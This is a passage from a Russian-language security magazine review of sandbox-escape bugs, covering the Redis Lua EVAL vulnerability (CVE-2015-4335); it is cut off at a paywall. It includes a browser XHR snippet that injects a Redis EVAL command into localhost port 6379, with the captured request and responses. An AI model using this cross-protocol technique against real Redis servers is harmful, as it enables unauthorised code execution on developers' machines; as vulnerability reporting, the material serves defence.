Содержание статьи
Наш сегодняшний обзор будет посвящен уязвимостям, которые позволяют совершить побег из разнообразных песочниц. Одна из них затронула такую популярную виртуальную машину, как QEMU. В ходе ее эксплуатации можно выполнить произвольный код, который затронет хостовую машину. Другая же основана на встраиваемом языке Lua — она позволяет не просто выполнять код, но и читать память.
Выполнение кода в Redis через EVAL
CVSSv2
N/A
BRIEF
Дата релиза: 4 июня 2015 года
Автор: Ben Murphy
CVE: 2015-4335

Уязвимость в нереляционной высокопроизводительной базе данных Redis позволяет выйти из Lua-песочницы и выполнить произвольный код. Сама уязвимость не нова и основана на работе Питера Коли с байт-кодом Lua — type confusion.
Особой угрозы в этой уязвимости нет, так как в соответствии с моделью безопасности Redis только доверенные пользователи могут подключаться к БД. Поэтому основные цели атак — это системы разработчиков, добраться до них можно с помощью SSRF-атак или благодаря облакам.
Машины разработчиков, использующих Redis, могут быть уязвимы из-за того, что Redis биндится на все интерфейсы, которые в свою очередь ждут получения инструкций. Такое поведение прописано в настройках по умолчанию.
Также разработчики могут быть уязвимы, если есть биндинг на 127.0.0.1. Один из примеров атаки на Redis через HTTP расписан исследователем Николасом Грегори. В его отчете рассказано об атаке на сервер Facebook, работающий на Redis, через уязвимость SSRF.
Так как Redis — это HTTP-сервер, у него есть схожие политики безопасности для браузеров, которые могут позволить любому сайту отправить к нему запрос POST. Для получения полного контроля нам нужно использовать XHR. Для примера напишем в консоли браузера при запущенном Wireshark такие команды:
var x = new XMLHttpRequest();
x.open("POST", "http://127.0.0.1:6379");
x.send('eval "print(\\"hello\\")" 0\r\n');
В Wireshark мы увидим следующее:
POST / HTTP/1.1
Host: 127.0.0.1:6379
Connection: keep-alive
Content-Length: 27
Pragma: no-cache
Cache-Control: no-cache
Origin: http://www.agarri.fr
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
eval "print(\"hello\")" 0
-ERR unknown command 'POST'
-ERR unknown command 'Host:'
-ERR unknown command 'Connection:'
-ERR unknown command 'Content-Length:'
-ERR unknown command 'Pragma:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Origin:'
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Content-Type:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Referer:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Accept-Language:'
$-1
В потоке stdout Redis будет следующее:
Продолжение доступно только подписчикам
Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте
Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке
Вариант 2. Купи один материал
Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.
Уже подписан?